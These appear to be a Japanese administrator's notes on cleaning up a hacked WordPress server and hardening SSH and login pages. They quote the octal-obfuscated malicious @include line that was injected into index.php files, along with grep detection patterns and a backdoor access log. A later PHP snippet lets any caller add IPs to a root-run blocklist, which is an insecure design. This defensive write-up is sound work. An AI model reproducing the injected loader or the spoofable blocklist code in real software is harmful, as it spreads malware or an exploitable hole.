WordPress 不正侵入後の対処 改ざん対策

サーバー不正侵入 不正ファイル検索

\@include “\057va\162/w\167w/\166ho\163ts\057gr\163.c\141t/\150tt\160do\143s/\060OL\104_S\111TE\057Bl\141de\137fl\141sk\137ar\143hi\166os\057.1\0662e\070ba\065.i\143o”;

あちこちのindex.phpにこんな文字列が行挿入されている

不審な文字列はここでデコードする
https://malwaredecoder.com/

 
var/www/html/wp-includes/PHPMailer/.136cf3b7.ico

を読み込むらしい。

プラグイン https://ja.wordpress.org/plugins/wp-simple-firewall/
を入れる → shield Securityによる認識されていないfileのスキャン
→ 見つかったファイルは削除

ターミナルから文字列検索して見つかったファイルはviで開いて行削除
怪しいファイルと同じ日付に更新されたファイルも削除か行削除

 
 grep -r ';}exit();}} ?><?php' ./*
 find ./ -name '*.php'  -type f -print | xargs grep '057va'
 find ./ '*.php' -type f -print | xargs grep '@file_put_contents'
 find ./ -name '*.php'  -type f -print | xargs grep 'eval('
 find ./ -name '*.php'  -type f -print | xargs grep 'Array();global'
 find . -type f -name '*.php' -newermt '2020-10-01'

サーバーのパスワードは全て変更する
鍵ファイルも変更する

不審なファイルの所有者はapacheになっているのでWEBアクセスで置かれた可能性が高い

backDoor rootkitの検索 改ざん対策 その2

 
書込み可能なディレクトリへのphpがあれば消す
find /var/www/○○.com/wp-content/uploads/ -name "*.php"
 

適当な場所に適当な名前.phpで書込み可能な囮ファイルの作成

 
実行されても 500 server errorになるようにしておく  
<?php

<?php
 

このファイルの書き換えを検知するシェルスクリプトを作成、cronで1m置きに実行しアラートを送る
書き換えられた時刻をログから探す

 
51.68.11.215 - - [22/Oct/2020:15:13:03 +0900] "GET /パス/.git/objects/kxzrvytc.php ← backDoor
160.153.147.130 - - [22/Oct/2020:15:13:06 +0900] "GET /パス/囮ファイル.php HTTP/1.0" 500 -
 

見つかったbackDoorは他にもあるので、文字列パターンからDocumentRoot以下を検索し削除

Apache 特定ファイルへのアクセスをIPで制限.htaccess

WordPressの定番アタックを阻止する
wpインストールディレクトリの .htaccessへ追記する

 


<Files ~ "(wp-cron|wp-login|xmlrpc)\.php$">
    Order deny,allow
    Allow from xxx.xxx.xxx.xxx yyy.yyy.yyy.yyy
    Deny from all
</Files>
#アタックの多いファイルは0。0。0。0へリダイレクト
RewriteEngine On
RewriteBase /
RewriteRule ^xmlrpc\.php "http\:\/\/0\.0\.0\.0\/" [R=301,L]
RewriteRule ^wp-cron\.php "http\:\/\/0\.0\.0\.0\/" [R=301,L]
RewriteRule ^xmlrpc\.php "http\:\/\/0\.0\.0\.0\/" [R=301,L]
RewriteRule ^wp\/wp-cron\.php "http\:\/\/0\.0\.0\.0\/" [R=301,L]
RewriteRule ^(.*\.xml)$ "http\:\/\/0\.0\.0\.0\/" [R=301,L]
RewriteRule ^(.*\.gm)$ "http\:\/\/0\.0\.0\.0\/" [R=301,L]

 

xxx yyy は許可するIP
自身のIPは200、不許可IPは403のステータスコードが返される

ランダム スクリーンキーボード

ロードするたびにランダムに並び替えられます.
全てがまとまっていることでキーロガーで監視された端末でもセキュリティ強度が高まります

パスワードを入力

CVCを入力



sshにブルートフォースを確認

#su - 
 最後の正しいログインの後に 59 回の失敗ログインの試行があります (ブルートフォースの兆候)



# netstat -anp  (接続している、試みているアクセス ***は非表示IP部分)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 ***.147.238.***:22      218.92.0.133:43722      ESTABLISHED 28568/sshd: root [p 
                                        (これが自分じゃない)
tcp        0      0 127.0.0.1:36996         127.0.0.1:44210         ESTABLISHED 31121/node          
tcp        0      0 ***.147.238.***:22      ***.158.230***:49543     ESTABLISHED 27075/sshd: root@pt 

# kill 28561 (不正なプロセスPIDを強制終了)
-bash: kill: (28561) - そのようなプロセスはありません
	この瞬間にはない。


# who (現在ログインしているユーザー)
root     pts/1        2019-03-31 04:18 (kd***230009.ppp-bb.dion.ne.jp)
	自分しかいない

# egrep "Failed|Failure" /var/log/secure  (sshのログ パスワードで弾かれている)
Mar 31 03:50:04 h***-147-238-*** sshd[23230]: Failed password for root from 218.92.0.133 port 17039 ssh2
Mar 31 03:50:07 h***-147-238-*** sshd[23230]: Failed password for root from 218.92.0.133 port 17039 ssh2
Mar 31 03:50:10 h***-147-238-*** sshd[23230]: Failed password for root from 218.92.0.133 port 17039 ssh2
Mar 31 03:50:12 h***-147-238-*** sshd[23230]: Failed password for root from 218.92.0.133 port 17039 ssh2
Mar 31 03:50:15 h***-147-238-*** sshd[23230]: Failed password for root from 218.92.0.133 port 17039 ssh2
Mar 31 03:50:18 h***-147-238-*** sshd[23230]: Failed password for root from 218.92.0.133 port 17039 ssh2
Mar 31 03:50:22 h***-147-238-*** sshd[23326]: Failed password for root from 218.92.0.133 port 41200 ssh2
Mar 31 03:50:24 h***-147-238-*** sshd[23326]: Failed password for root from 218.92.0.133 port 41200 ssh2
Mar 31 03:50:27 h***-147-238-*** sshd[23326]: Failed password for root from 218.92.0.133 port 41200 ssh2
Mar 31 03:50:30 h***-147-238-*** sshd[23326]: Failed password for root from 218.92.0.133 port 41200 ssh2
Mar 31 03:50:32 h***-147-238-*** sshd[23326]: Failed password for root from 218.92.0.133 port 41200 ssh2
Mar 31 03:50:34 h***-147-238-*** sshd[23326]: Failed password for root from 218.92.0.133 port 41200 ssh2
Mar 31 03:50:39 h***-147-238-*** sshd[23333]: Failed password for root from 218.92.0.133 port 61584 ssh2
Mar 31 03:50:41 h***-147-238-*** sshd[23333]: Failed password for root from 218.92.0.133 port 61584 ssh2
Mar 31 03:50:44 h***-147-238-*** sshd[23333]: Failed password for root from 218.92.0.133 port 61584 ssh2
Mar 31 03:50:46 h***-147-238-*** sshd[23333]: Failed password for root from 218.92.0.133 port 61584 ssh2
Mar 31 03:50:48 h***-147-238-*** sshd[23333]: Failed password for root from 218.92.0.133 port 61584 ssh2
Mar 31 03:50:51 h***-147-238-*** sshd[23333]: Failed password for root from 218.92.0.133 port 61584 ssh2
Mar 31 03:50:56 h***-147-238-*** sshd[23338]: Failed password for root from 218.92.0.133 port 18658 ssh2
Mar 31 03:50:58 h***-147-238-*** sshd[23338]: Failed password for root from 218.92.0.133 port 18658 ssh2
Mar 31 03:51:00 h***-147-238-*** sshd[23338]: Failed password for root from 218.92.0.133 port 18658 ssh2
Mar 31 03:51:03 h***-147-238-*** sshd[23338]: Failed password for root from 218.92.0.133 port 18658 ssh2
Mar 31 03:51:06 h***-147-238-*** sshd[23338]: Failed password for root from 218.92.0.133 port 18658 ssh2
Mar 31 03:51:08 h***-147-238-*** sshd[23338]: Failed password for root from 218.92.0.133 port 18658 ssh2
Mar 31 03:51:12 h***-147-238-*** sshd[23342]: Failed password for root from 218.92.0.133 port 40554 ssh2
Mar 31 03:51:15 h***-147-238-*** sshd[23342]: Failed password for root from 218.92.0.133 port 40554 ssh2
Mar 31 03:51:18 h***-147-238-*** sshd[23342]: Failed password for root from 218.92.0.133 port 40554 ssh2
Mar 31 03:51:20 h***-147-238-*** sshd[23342]: Failed password for root from 218.92.0.133 port 40554 ssh2
Mar 31 03:51:23 h***-147-238-*** sshd[23342]: Failed password for root from 218.92.0.133 port 40554 ssh2
Mar 31 03:51:25 h***-147-238-*** sshd[23349]: Failed password for invalid user guest from ***.146.209.68 port 42988 ssh2

対策1  rootログインの禁止
 vim /etc/ssh/sshd_config
	PermitRootLogin yes →PermitRootLogin no に変える

保存したらsshd再起動

$ sudo systemctl restart sshd


対策2 これをインストール
# yum --enablerepo=epel install fail2ban 

拒否リストに入った
 `- Banned IP list:	218.92.0.133 183.146.209.68

アタックは1/10に激減したが 160/dayはある
Apr  1 20:25:12 h***-147-238-*** sshd[5736]: Failed password for invalid user admin from 219.149.225.154 port 54177 ssh2
Apr  1 20:25:36 h***-147-238-*** sshd[5744]: Failed password for invalid user zimbra from 201.17.130.197 port 45573 ssh2
Apr  1 20:26:08 h***-147-238-*** sshd[5757]: Failed password for invalid user qun from 118.24.221.190 port 21474 ssh2
Apr  1 20:27:53 h***-147-238-*** sshd[5794]: Failed password for invalid user system from 122.224.203.228 port 47930 ssh2
Apr  1 20:27:54 h***-147-238-*** sshd[5796]: Failed password for invalid user od from 118.89.46.169 port 34138 ssh2
こんどはパスワードスプレー

鍵認証に変える

1. 鍵ペアはローカルマシンで作る
2.公開鍵をサーバーへコピペで保存する

macで鍵を作る
ターミナルで (winならPowerShell )

$ cd Users/ginzo/.ssh  ←パーミッションは 700にする
$ ssh-keygen
	Generating public/private rsa key pair.
Enter file in which to save the key (/Users/ginzo/.ssh/id_rsa): hplocal 鍵の名前を打つ
Enter passphrase (empty for no passphrase): 		そのままEnter(パスフレーズはなし)
Enter same passphrase again: 				もう一回Enter
Your identification has been saved in hplocal.	←秘密キー	
Your public key has been saved in hplocal.pub.	←公開鍵

サーバーにログイン
ログインユーザーの/home/ginzo/.ssh/ にauthorized_keysというファイルを作る

 cd ~/.ssh
 $ touch authorized_keys
 $ vi authorized_keys
	mac で作った公開鍵の中身をこのファイルの末尾行にコピペ
 $ chmod 600 authorized_keys
	exit

macからログイン (ポートも変えているので-pオプション必要)

 $ ssh -p 2**** -i ~/.ssh/hplocal ginzo@192.168.0.**

パスワード認証の禁止

 vi /etc/ssh/sshd_config

CentOS 7 の sshd の設定は /etc/ssh/sshd_config ファイルに記述されています。

  PasswordAuthentication no  ←パスワード認証の拒否
  PermitEmptyPasswords no	←パスワードなしユーザーの拒否

systemctl restart sshd ssh再起動

アタックは0になった

wordpressのログインアタック (ブルートフォース攻撃) の阻止

普通の対策では認証をさせないだけなのでアクセスは減らず,サーバーのパフォーマンス低下は避けられない。
以下はwp-login.phpへのアクセス自体を阻止する対策。

WordPressの自動更新にも対応

.htaccess に追加

# END WordPress の下に

 redirect 301 /wp-login.php /new-login.php  

nginxなら default.conf に

 rewrite ^/wp-login.php /new-login.php permanent; 

wp-login.php を new-login.php に別名コピー

ファイルを開いてwp-login.php → new-login.phpに全置換

new-login.phpの<?php 以下に追加

session_start();
  if(!isset($_SESSION['任意文字'])){ 
     echo '<h1>404 Not Found<hr></h1>';
   exit;
}

if($_SESSION['任意文字']!="てきとうなひらがな"){
    echo '<h1>404 Not Found<hr></h1>';
    exit;
}

[logon.php] ← セッションを作るためのダミーのログインファイル

 <?php
  session_start(); //セッション開始

  $_SESSION["任意文字"]="てきとうなひらがな";
 ?>

  <a href="new-login.php"> 秘密のログインへ </a>

普通に/wp-admin/ や /wp-login.php でログインしようとすると 404 Not Found になる。
ダミーで作った /login.php からならログインできる。

Graph returned an error: Can’t Load URL: The domain of this URL isn’t included in the app’s domains.

Facebook のOAUTH認証がまた変わるらしい

3月には、以下の[有効なOAuthリダイレクトURI]フィールドに記載されていないURIからの呼び出しを無効化するセキュリティアップデートがアプリ設定に適用されます。
このアップデートはプラットフォームで見つかった悪意あるアクティビティに対応するためのものです。リダイレクトURIに新しい制限モードを追加することで、アプリやウェブサイトを保護できます。
詳しくはこちら


「リダイレクトURIに制限モード」をはいにする

警告は消える

ログインすると Graph returned an error: Can’t Load URL: The domain of this URL isn’t included in the app’s domains.・・・・・

OAuthリダイレクトURIをgetAccessToken関数呼び出しの引数として追加して解決

   //アクセストークンを取得する
        $accessToken = $helper->getAccessToken("https://www.examplex.com/callback");

botによるDOS攻撃、特定ファイルへの連続アクセスをipブロックにて遮断

access.log により moodle/calendar/set.php への不正規アクセスを確認 ユーザーエージェントは “MJ12bot”

ipsetを利用することで、IPアドレスの集合を簡単に管理することができる。
iptables を実行しなくて済むので早速入れた。

# yum install ipset 

セットの作成

接続拒否IPの集合”BLACKLIST”を作成

# ipset create BLACKLIST hash:net

プログラムフロー

moodle/calendar/set.php 先頭へ追記

[highlight_php]
$uaip = $_SERVER[‘REMOTE_ADDR’];//ipを取得
$ua = $_SERVER[‘HTTP_USER_AGENT’];// ユーザエージェントを取得
if( strpos($ua, ‘MJ12bot’) !== false ){
http_response_code( 301 ) ;
header( “Location: ../../abcdef/iptables.php?uaip=$uaip” ) ;
exit;
}
[/highlight_php]

../../abcdef/iptables.php 新規作成 (場所はどこでもいい)

[highlight_php]
<?php
$file=’/var/www/deny_ip’;
$getparam=htmlspecialchars($_GET[‘uaip’]);

file_put_contents($file,$getparam,FILE_APPEND | LOCK_EX);
?>

[/highlight_php]

/var/www/deny_ip には MJ12botがアクセスしてきたipアドレスが書き込まれていく

/root/iptables.sh シェルスクリプト作成

[highlight_php]
#!/bin/bash

# 拒否IPリストに記載されたIPからのアクセスを拒否する
if [ -s /var/www/deny_ip ]; then
for ip in `cat /var/www/deny_ip`
do
ipset add BLACKLIST $ip
done
fi
: > /var/www/deny_ip

[/highlight_php]

cron で5分おきに実行 vi /etc/crontab

[highlight_php]
*/5 * * * * root sh /root/iptables.sh
[/highlight_php]

cron log確認 tail -f /var/log/cron

ipset list BLACKLIST

[highlight_php]
Name: BLACKLIST
Type: hash:net
Header: family inet hashsize 1024 maxelem 65536
Size in memory: 17008
References: 1
Members:
158.69.254.103 ←これが拒否IP
[/highlight_php]